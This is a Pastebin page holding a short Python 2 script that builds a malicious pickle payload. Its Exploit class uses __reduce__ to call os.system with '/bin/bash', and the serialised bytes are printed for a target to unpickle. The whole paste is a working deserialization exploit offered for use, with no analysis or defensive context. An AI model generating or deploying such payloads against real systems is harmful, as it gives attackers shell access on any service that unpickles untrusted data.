Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import cPickle
- # Exploit that we want the target to unpickle
- class Exploit(object):
- def __reduce__(self):
- return (os.system, ('/bin/bash',))
- shellcode = cPickle.dumps(Exploit())
- print shellcode
Advertisement
Add Comment
Please, Sign In to add comment